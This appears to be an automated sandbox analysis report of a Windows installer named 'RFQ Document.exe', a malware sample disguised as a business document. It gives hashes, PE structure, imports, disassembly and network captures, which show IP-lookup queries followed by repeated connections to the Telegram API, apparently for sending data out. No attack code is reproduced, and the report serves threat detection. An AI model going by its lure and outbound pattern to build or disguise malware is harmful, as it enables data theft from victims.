Preview:	%U.%...{......_.y.......p"....S-....nP'.J.d.....!...R%.'.^=V.....z.C...\9.N.:..E..{@).[.8...j.....GS.(..l...&..$...!:w.?Z.m.r.........A.7A...GdQ......'rl......q...g.y..5.-.\|l.../.N..R."..k....C%j.~..:0!....i..>......Q........b;.v9.....Z..i.....u%Q..{R.X.0.......Lp"...4.W.!..P'...d....p....NR%...^7jO...2.z.yd.aC3...)x.W....^.r.....a..,.o..ad........]..!>w.?b..D.4U...H....#.......... ..._..........Y.~.y/..wZ.B.#<O.>.@[e3...P.Q..X...7.u..+81p..Z......$.....Gs..q5....)...'3.Z..i....<`3...{....i._.....R..Lp"....S-...4nP.`.v#...b....bR%.e.^7....<2.z.yd..Ka.3..<0./=...,].r......a.:.o..adj......>]+....=@.?...D.....H$V.#.;..t=........-.Z....{&.Y...y...w2a#.#<O.>.@[e3..UP....X...7..R+.1p..Z......$...U.Gs..q5....)...'3.Z..i.....u%Q..{....i._.......Lp"....S-....nP'.J.d.....!...R%.'.^7j...<2.z.yd..KaC3...)..W....D.r.D....a*.,.o..adj.......>]..!:w.?b..D.4U...H$...#.;..t=.... ..._..........Y.~.y..w2.B.#<O.>.@[e3...P.Q..X...7..R+.1p..Z......$...U.Gs

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.851156739985387
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	RFQ Document.exe
File size:	344837
MD5:	64468b2ab541687572ce6b435b41f2bd
SHA1:	893ae234d351c762ab388a7337c625e4b213da6e
SHA256:	d3ac98cf64ca2fca455b2e4f002c3381bcee699cf64bbfaa076222209f834b1a
SHA512:	317c14df6c6d1dd3b120a28743eface80474d7140515d61d0a00c326a923f56c71d7135907e2c2d5f17cba1b5746bb19ae5262cf656a098ebd94adba82cc2db8
SSDEEP:	6144:P8LxBkKFd08vwYfiEqj9LEW4AKkYMFO1UT489rSAZwghFmxGmf7qvce:BKFdLi1j9LEYKkNO1648JDwghFkFkce
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........0(..QF..QF..QF.^...QF..QG.qQF.^...QF..rv..QF..W@..QF.Rich.QF.........PE..L...m:.V.................`..........*1.......p....@

File Icon


Icon Hash:	2f9e2e2c030b2e87

Static PE Info

General
Entrypoint:	0x40312a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x56FF3A6D [Sat Apr 2 03:20:13 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b76363e9cb88bf9390860da8e50999d2

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push ebp
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+20h], ebx
mov dword ptr [esp+14h], 00409168h
mov dword ptr [esp+1Ch], ebx
mov byte ptr [esp+18h], 00000020h
call dword ptr [004070B0h]
call dword ptr [004070ACh]
cmp ax, 00000006h
je 00007F3BE0B3B823h
push ebx
call 00007F3BE0B3E604h
cmp eax, ebx
je 00007F3BE0B3B819h
push 00000C00h
call eax
mov esi, 00407280h
push esi
call 00007F3BE0B3E580h
push esi
call dword ptr [00407108h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F3BE0B3B7FDh
push 0000000Dh
call 00007F3BE0B3E5D8h
push 0000000Bh
call 00007F3BE0B3E5D1h
mov dword ptr [0042EC24h], eax
call dword ptr [00407038h]
push ebx
call dword ptr [0040726Ch]
mov dword ptr [0042ECD8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 00429058h
call dword ptr [0040715Ch]
push 0040915Ch
push 0042E420h
call 00007F3BE0B3E204h
call dword ptr [0040710Ch]
mov ebp, 00434000h
push eax
push ebp
call 00007F3BE0B3E1F2h
push ebx
call dword ptr [00407144h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7524	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x37000	0x4228	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x27c	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5e66	0x6000	False	0.670572916667	data	6.44065573436	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x12a2	0x1400	False	0.4455078125	data	5.0583287871	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x25d18	0x600	False	0.458984375	data	4.18773476617	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.ndata	0x2f000	0x8000	0x0	False	0	empty	0.0	IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x37000	0x4228	0x4400	False	0.263097426471	data	4.96300175496	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x371f0	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 4293454056, next used block 4294967295	English	United States
RT_ICON	0x39798	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 4292532954, next used block 4292532954	English	United States
RT_ICON	0x3a840	0x468	GLS_BINARY_LSB_FIRST	English	United States
RT_DIALOG	0x3aca8	0x100	data	English	United States
RT_DIALOG	0x3ada8	0x11c	data	English	United States
RT_DIALOG	0x3aec8	0x60	data	English	United States
RT_GROUP_ICON	0x3af28	0x30	data	English	United States
RT_MANIFEST	0x3af58	0x2cc	XML 1.0 document, ASCII text, with very long lines, with no line terminators	English	United States

Imports

DLL	Import
KERNEL32.dll	GetTickCount, GetShortPathNameA, GetFullPathNameA, MoveFileA, SetCurrentDirectoryA, GetFileAttributesA, SetFileAttributesA, CompareFileTime, SearchPathA, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, ExitProcess, GetWindowsDirectoryA, GetTempPathA, Sleep, lstrcmpiA, GetVersion, SetErrorMode, lstrcpynA, GetDiskFreeSpaceA, GlobalUnlock, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, lstrcatA, GetSystemDirectoryA, WaitForSingleObject, SetFileTime, CloseHandle, GlobalFree, lstrcmpA, ExpandEnvironmentStringsA, GetExitCodeProcess, GlobalAlloc, lstrlenA, GetCommandLineA, GetProcAddress, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, ReadFile, FindClose, GetPrivateProfileStringA, WritePrivateProfileStringA, WriteFile, MulDiv, MultiByteToWideChar, LoadLibraryExA, GetModuleHandleA, FreeLibrary
USER32.dll	SetCursor, GetWindowRect, EnableMenuItem, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, EndDialog, ScreenToClient, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetForegroundWindow, GetWindowLongA, RegisterClassA, TrackPopupMenu, AppendMenuA, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, GetDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, SetTimer, PostQuitMessage, SetWindowLongA, SendMessageTimeoutA, LoadImageA, wsprintfA, GetDlgItem, FindWindowExA, IsWindow, SetClipboardData, EmptyClipboard, OpenClipboard, EndPaint, CreateDialogParamA, DestroyWindow, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, SHFileOperationA, ShellExecuteA
ADVAPI32.dll	RegDeleteValueA, SetFileSecurityA, RegOpenKeyExA, RegDeleteKeyA, RegEnumValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_AddMasked, ImageList_Destroy, ImageList_Create
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 07:58:04.964962959 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:05.230807066 CEST	80	49773	132.226.8.169	192.168.2.4
Sep 28, 2021 07:58:05.232337952 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:05.232361078 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:05.499475956 CEST	80	49773	132.226.8.169	192.168.2.4
Sep 28, 2021 07:58:05.499944925 CEST	80	49773	132.226.8.169	192.168.2.4
Sep 28, 2021 07:58:05.592782021 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:05.596322060 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:05.864909887 CEST	80	49773	132.226.8.169	192.168.2.4
Sep 28, 2021 07:58:06.013809919 CEST	49773	80	192.168.2.4	132.226.8.169
Sep 28, 2021 07:58:06.751085997 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:06.751137972 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:06.751235008 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:06.814481020 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:06.814506054 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:06.857985020 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:06.858104944 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:06.862571001 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:06.862590075 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:06.862875938 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:06.905411005 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:08.310857058 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:08.351151943 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:08.360182047 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:08.360292912 CEST	443	49774	172.67.188.154	192.168.2.4
Sep 28, 2021 07:58:08.360359907 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:08.362340927 CEST	49774	443	192.168.2.4	172.67.188.154
Sep 28, 2021 07:58:09.607271910 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.607322931 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.607420921 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.608319998 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.608341932 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.676004887 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.676119089 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.680505991 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.680532932 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.680919886 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.684824944 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.727150917 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.727274895 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.727293015 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.873284101 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.873378992 CEST	443	49775	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:09.873429060 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:09.874667883 CEST	49775	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.067161083 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.067218065 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.067605019 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.074578047 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.074609995 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.145684958 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.152025938 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.152057886 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.155137062 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.155153036 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.256720066 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.263416052 CEST	443	49776	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.264997959 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.265022039 CEST	49776	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.267515898 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.267553091 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.273113966 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.273153067 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.273163080 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.337280989 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.344814062 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.344851971 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.345035076 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.345047951 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.447145939 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.447231054 CEST	443	49777	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.449970961 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.450018883 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.450021982 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.450061083 CEST	49777	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.450160980 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.450803041 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.450824022 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.507325888 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.511324883 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.511378050 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.511537075 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.511548042 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.619339943 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.621088982 CEST	443	49778	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.624315977 CEST	49779	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.624375105 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.624380112 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.624412060 CEST	49778	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.625164986 CEST	49779	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.625204086 CEST	49779	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.625214100 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.695027113 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.699064970 CEST	49779	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.699088097 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.700334072 CEST	49779	443	192.168.2.4	149.154.167.220
Sep 28, 2021 07:58:21.700346947 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.807482958 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.807571888 CEST	443	49779	149.154.167.220	192.168.2.4
Sep 28, 2021 07:58:21.807687998 CEST	49779	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 28, 2021 07:57:49.904905081 CEST	57458	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:49.931982040 CEST	53	57458	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:49.985832930 CEST	50579	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:50.002543926 CEST	53	50579	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:50.034183979 CEST	51703	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:50.056436062 CEST	53	51703	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:50.175209045 CEST	65248	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:50.195456982 CEST	53	65248	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:50.407475948 CEST	53723	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:50.426398993 CEST	53	53723	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:52.086497068 CEST	64646	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:52.121588945 CEST	53	64646	8.8.8.8	192.168.2.4
Sep 28, 2021 07:57:57.747876883 CEST	65298	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:57:57.775429964 CEST	53	65298	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:04.842756987 CEST	59123	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:04.861382961 CEST	53	59123	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:04.877244949 CEST	54531	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:04.894201994 CEST	53	54531	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:06.725596905 CEST	49714	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:06.747652054 CEST	53	49714	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:09.587006092 CEST	58028	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:09.605787039 CEST	53	58028	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:27.446319103 CEST	53097	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:27.478327036 CEST	53	53097	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:45.119631052 CEST	49257	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:45.140292883 CEST	53	49257	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:48.356383085 CEST	62389	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:48.390084028 CEST	53	62389	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:48.893975019 CEST	49910	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:48.946300030 CEST	53	49910	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:49.473862886 CEST	55854	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:49.493026972 CEST	53	55854	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:49.798865080 CEST	64549	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:49.826356888 CEST	53	64549	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:49.861587048 CEST	63153	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:49.880759954 CEST	53	63153	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:50.359217882 CEST	52991	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:50.384278059 CEST	53	52991	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:50.817967892 CEST	53700	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:50.849745989 CEST	53	53700	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:51.399735928 CEST	51726	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:51.422228098 CEST	53	51726	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:52.125528097 CEST	56794	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:52.145600080 CEST	53	56794	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:53.423222065 CEST	56534	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:53.442584038 CEST	53	56534	8.8.8.8	192.168.2.4
Sep 28, 2021 07:58:53.938031912 CEST	56627	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:58:53.955471992 CEST	53	56627	8.8.8.8	192.168.2.4
Sep 28, 2021 07:59:02.302161932 CEST	56621	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:59:02.329798937 CEST	53	56621	8.8.8.8	192.168.2.4
Sep 28, 2021 07:59:02.414984941 CEST	63116	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:59:02.449933052 CEST	53	63116	8.8.8.8	192.168.2.4
Sep 28, 2021 07:59:09.014121056 CEST	64078	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:59:09.037537098 CEST	53	64078	8.8.8.8	192.168.2.4
Sep 28, 2021 07:59:37.151129007 CEST	64801	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:59:37.179333925 CEST	53	64801	8.8.8.8	192.168.2.4
Sep 28, 2021 07:59:37.944013119 CEST	61721	53	192.168.2.4	8.8.8.8
Sep 28, 2021 07:59:37.971066952 CEST	53	61721	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 28, 2021 07:57:50.034183979 CEST	192.168.2.4	8.8.8.8	0x7312	Standard query (0)	clientconfig.passport.net	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.842756987 CEST	192.168.2.4	8.8.8.8	0xc16a	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.877244949 CEST	192.168.2.4	8.8.8.8	0xbd0c	Standard query (0)	checkip.dyndns.org	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:06.725596905 CEST	192.168.2.4	8.8.8.8	0x87d7	Standard query (0)	freegeoip.app	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:09.587006092 CEST	192.168.2.4	8.8.8.8	0x505f	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 28, 2021 07:57:50.056436062 CEST	8.8.8.8	192.168.2.4	0x7312	No error (0)	clientconfig.passport.net	authgfx.msa.akadns6.net		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.861382961 CEST	8.8.8.8	192.168.2.4	0xc16a	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:04.894201994 CEST	8.8.8.8	192.168.2.4	0xbd0c	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:06.747652054 CEST	8.8.8.8	192.168.2.4	0x87d7	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:06.747652054 CEST	8.8.8.8	192.168.2.4	0x87d7	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Sep 28, 2021 07:58:09.605787039 CEST	8.8.8.8	192.168.2.4	0x505f	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

freegeoip.app

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.4	49774	172.67.188.154	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.4	49775	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.4	49784	149.154.167.220	443	C:\Users\user\Desktop\RFQ Document.exe

Timestamp	kBytes transferred	Direction	Data

